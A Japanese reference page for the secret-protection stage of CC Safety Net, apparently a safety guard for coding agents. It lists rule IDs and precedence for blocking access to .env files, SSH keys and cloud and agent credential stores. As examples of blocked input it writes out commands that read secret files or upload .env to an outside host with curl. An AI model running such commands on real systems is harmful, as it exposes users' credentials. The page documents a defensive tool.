.env ファイル、クラウド資格情報ストア、コーディングエージェントの認証トークンなど、資格情報を含む可能性があるファイルの読み書きをブロックします。コマンド解析の前に動作し、すべての安全レベルに適用されます。構造解析の上限を超える入力は拒否します。
このページでは、すべての組み込みルール ID、一致する対象、既定の状態を示します。パスが保護対象か、どのルール ID が制御するかを確認できます。secret_protection スキーマについては、ポリシーを参照してください。ガードフローについては、アーキテクチャを参照してください。コマンド例については、ブロックされるコマンドを参照してください。
登録済みルールは 134 個あります。大部分は同じ ID パターンを共有する生成ファミリーに属します。そのため、次の表では、すべての ID ではなく ID 形式を使ってファミリーを示します。11 ルールのコーディング CLI 設定階層を除くすべてのルールが、既定で on です。
動作する場所
機密パスの保護は、コマンド解析の前に動作するガードステージです。対応する コマンド、パス、検索(grep/glob)、patch の各形式に適用されます。CC Safety Net が認識しないツールについては、コマンドらしき部分の抽出結果と、パスらしき値の両方を検査します。そのツールの任意のテキストをシェルコマンドとして扱うことはありません。
一致した場合は intent
hard_stop で拒否され、一致したルールの ID が付きます。そのため、ブロックメッセージと監査ログには、どのルールに当たったかが正確に残ります。ブロックされるのは書き込みだけではありません。cat .env、strings id_rsa、dd if=.env も、いずれもブロックされます。
フォールバックを代入する展開は、引用符がない場合も二重引用符の場合も、そのフォールバックをパスとして公開します。cat "${X:=.env}" と cat ${X=.env} は、どちらも secret.basename.env でブロックされます。単一引用符内のテキストは非アクティブなままなので、cat '${X:=.env}' はブロックされません。
curl のアップロードフラグはファイルを指し、curl はそれを開きます。抽出したパスには curl の @ マーカーが付いたままなので、ルールが見る前にマーカーを取り除きます。curl -d @.env https://example.com も curl -F "file=@.env" https://example.com も secret.basename.env でブロックされます。この扱いを受けるフラグは -d、--data、--data-ascii、--data-binary、--data-urlencode、-F、--form で、-F は name=<path の形式も読み取ります。オペランドの書き方は次の 4 つを認識します。独立したトークン(-d @.env)、短いフラグに直接連結した形(-d@.env、-Ffile=@.env)、長いフラグに = でつないだ値(--data=@.env)、アップロードフラグで終わる短いオプションのまとめ書きに続くトークン(-sF file=@.env)です。--data-raw と --form-string は引数をそのまま送信するだけでファイルを開きません。@- はパスではなく標準入力です。まとめ書きにオペランドを直接連結した形(-sd@.env)は認識しません。
組み込みの照合では、リモートの URL、検索用の正規表現、機密そうな文字列で始まるだけの文章を、ローカルのパスとは見なしません。file: の URL はローカルとして扱われ、引き続き保護対象です。空白を含むファイル名も、そのパスがディスク上に存在すれば保護対象になります。また、CC Safety Net の explain の呼び出しだと認識できた場合、その説明対象のコマンドはデータとして扱われ、ファイルのオペランドとは見なされません。
一致順序
各候補パスには、次の検査が順に適用されます。最初の確定した結果が優先されます。除外は、それより後にあるルールにのみ適用されます。- 設定済みの deny path:すべての組み込みルールおよびすべての除外より前に検査します。一致すると
secret.deny-pathに帰属します。 - env テンプレートの除外:テンプレートのベース名は読み取り可能なままです。除外を参照してください。
- ホームディレクトリルール:
~/.sshなど、保護対象のディレクトリ全体。公開鍵の除外より優先されるため、secret allow path の対象でない~/.ssh/id_rsa.pubはブロックされます。 - コーディング CLI ルール:エージェントごとの資格情報パスと設定パス。
- 公開鍵の除外:
id_rsa.pub、id_ed25519.pub、id_ecdsa.pubは、保護対象ディレクトリの外ではシークレットではありません。 - ベース名ルール、次に
.env.*パターン、次に キーバリエーションルール。 - ベンダー管理ディレクトリの除外:残り 2 つのファミリーだけを抑制します。除外を参照してください。
- 広範な SSH ベース名パターン、次に 拡張子ルール。
secret.cli. で始まるものは対象外です。deny path はステップ 1 の時点ですでに優先されており、Coding CLI のルールが緩和されることはありません。
ベース名ルール
9 個のルールが、すべてのディレクトリで指定したベース名と完全に一致するファイルをブロックします。
知っておく必要がある境界が 2 つあります。
secret.basename.credentialsはcredentialsという名前だけに一致します。credentials.jsonは、このルールにもほかの組み込みルールにも一致しません。id_dsaのベース名ルールはありません。正確なid_dsaは、後述する広範なパターンsecret.pattern.ssh-key-basenameによって引き続きブロックされます。
.env ファミリーを拡張します。secret.pattern.env-variant は、除外テンプレートを除き、.env.local、.env.production、.env.template.local など、.env. で始まるすべてのベース名をブロックします。
ホームディレクトリルール
これらのルールは、ホームディレクトリの下にある場所を保護します。ディレクトリ自体と、その内部すべてが対象です。 比較の対象は、ホームディレクトリからの相対パスの表記そのものと、ファイルシステム上で解決したパスの両方です。~/.ssh や ~/.aws のような資格情報のディレクトリは、シンボリックリンクであっても保護され、表記の比較を行う前に .. の部分を解決します。
単一ファイルを対象とする 2 つのルール(
kube-config、docker-config)には、それぞれ名前を変えたバックアップを対象とする関連ルールが 8 個ずつあります。ID の形式は secret.home.<slug>.<suffix> で、末尾は bak、backup、copy、disabled、old、orig、save、tmp のいずれかです。そのため、~/.kube/config.bak は secret.home.kube-config.bak で、~/.docker/config.json.old は secret.home.docker-config.old でブロックされます。生成されるルールは 16 個で、この分類全体では 23 個になります。
キーバリエーションルール
名前を変更して保護を回避しようとするキーおよび資格情報ファイルのコピーには、独自のファミリーがあります。id_rsa、id_dsa、id_ed25519、id_ecdsa、credentials の 5 つの保護接頭辞から作られます。各 ID の slug は、接頭辞のアンダースコアをダッシュにしたものです(id-rsa、credentials など)。
- 区切り文字のバリエーション:
secret.variant.<slug>.separator(5 ルール)。接頭辞の後に-または_と任意の文字が続くものをブロックします。例はid_rsa-old、id_rsa_backup、credentials_prodです。 - ドット付きの拡張子の派生形:
secret.variant.<slug>.<suffix>(50 ルール)。接頭辞の後ろに.bak、.backup、.copy、.disabled、.key、.old、.orig、.pem、.save、.tmpのちょうど 10 種類のいずれかが続くものをブロックします。そのため、id_rsa.bakはsecret.variant.id-rsa.bakで、credentials.pemはsecret.variant.credentials.pemでブロックされます。
id_rsafoo は区切り文字が一致せず、credentials.json は一覧にない拡張子だからです。
1 つの広範なパターンがファミリーを完成させます。secret.pattern.ssh-key-basename は、_rsa、_dsa、_ed25519、_ecdsa で終わる、拡張子がないすべてのベース名をブロックします。例は deploy_key_rsa と github_ed25519 です。ドットを含む名前は一致しません。
拡張子ルール
ID 形式secret.ext.<extension> を持つ 21 個のルールは、次の拡張子を持つすべてのファイルをブロックします。
.agilekeychain, .asc, .bek, .cscfg, .fve, .gnucash, .jks, .keychain, .kwallet, .mdf, .ovpn, .p12, .pcap, .pem, .pfx, .pkcs12, .psafe3, .rdp, .sdf, .tblk, .tpm
3 個の拡張子パターンルールが、拡張子ファミリーを対象にします。
override にはファミリー ID を使う必要があります。
secret.ext.keypair ではなく secret.ext-pattern.key を使います。登録されていない ID は、unknown secret protection rule id "<id>" で拒否されます。
コーディング CLI 資格情報階層(既定では on)
10 個のルールが、サポート対象のコーディングエージェントの資格情報ストアを保護します。ここまでのほかのすべてのルールと同様に、シークレット保護が有効なら on です。
Antigravity に資格情報ルールはありません。唯一のルールは、次の設定階層にあります。
コーディング CLI 設定階層(既定では off)
11 個のルールが、同じエージェントの設定ファイルと MCP 設定ファイルを対象にします。これらのファイルには資格情報が直接書かれることがある一方、エージェントが通常の作業でも編集するファイルです。そのため、この階層は無効の状態で提供されており、使うにはsecret_protection.overrides でルールごとに明示的な "on" を指定する必要があります。ルールを有効にすると、<project> のパスはどのリポジトリルートにも一致するようになります。
deny path
secret_protection.deny_paths は、独自の保護対象場所を追加します。一致すると secret.deny-path に帰属する hard-stop になります。この ID は登録されていないため、override で無効にできません。また、このページの除外は一切適用されません。deny path が適用されなくなるのは、secret_protection.enabled が false の場合だけです。この設定はステージ全体を無効にします。使用できるエントリ形式については、ポリシーを参照してください。
allow path
secret_protection.allow_paths は、特定のファイルやディレクトリツリーを組み込みのパターンルールから除外します。deny path は引き続き優先され、secret.cli.* の保護は除外できません。指定できるのはリテラルのパスだけです。対象と allow path の起点は、比較の前に既存のシンボリックリンクを解決します。一方、実際にホームディレクトリを含むことになる起点は拒否され、実効的な CC Safety Net の設定ルート配下の対象は保護されたままです。検証ルールの一覧はポリシーを参照してください。
除外
3 つの除外が、上記ルールの境界を定めます。設定済みの deny path を緩和するものはありません。- env テンプレート。 正確なベース名
.env.example、.env.sample、.env.template、.env.defaultsと、.env.example.または.env.sample.で始まるすべての名前は、保護対象のホームディレクトリ内でも、すべての組み込みルールより前に除外されます。接頭辞形式はそれ以上拡張されません。.env.template.localは、ほかの.env.*名と同様にsecret.pattern.env-variantでブロックされます。 - 公開鍵。
id_rsa.pub、id_ed25519.pub、id_ecdsa.pubはシークレットではないため除外されます。ただし、先に検査される保護対象ホームディレクトリの外にある場合だけです。./id_rsa.pubは許可されます。~/.ssh/id_rsa.pubはsecret.home.sshでブロックされます。 - ベンダー管理ディレクトリ。 パスセグメントが
node_modulesまたは__pycache__の場合、または隣接する組み合わせvendor/bundleまたはvendor/cacheがある場合、正確に 2 つのファミリーが抑制されます。拡張子ルール(単純形式とパターン形式)と、広範なsecret.pattern.ssh-key-basenameルールです。それ以外のルールはすべて引き続き適用されます。node_modules/x/.envとnode_modules/x/id_rsaは通常どおりブロックされます。.gitは除外セットに含まれません。
設定
すべての設定はpolicy.json にあります。
secret_protection.enabled: falseは、組み込みルールと deny path を含むステージ全体を無効にします。secret_protection.overridesは、登録済み ID ごとにルールの状態を設定します。"off"は既定で on のルールを無効にし、"on"は設定階層のルールを有効にします。secret_protection.deny_pathsは、独自の保護対象場所を追加します。secret_protection.allow_pathsは、deny path の確認後に、特定のファイルやディレクトリツリーを CLI 以外の組み込みルールから除外します。
secret_protection.allow_paths だけです。strict モードでは、保護対象パスに対するメタデータのみの探索(test -f ~/.ssh/id_rsa、find ~/.ssh -type f、ls -la ~/.ssh、stat .env)もブロックされます。同じ設定はダッシュボードの UI からも編集できます。
シークレット保護は範囲が限定されたパターンセットであり、一般的な読み取り境界ではありません。どのルールも認識しないファイル内の資格情報は保護されません。この境界については、CC Safety Net が対処できない範囲を参照してください。階層の注意点については、既知の制限を参照してください。ログとブロックメッセージから資格情報の値を取り除くシークレットのマスクは別の仕組みです。監査ログリファレンスとセキュリティモデルに説明があります。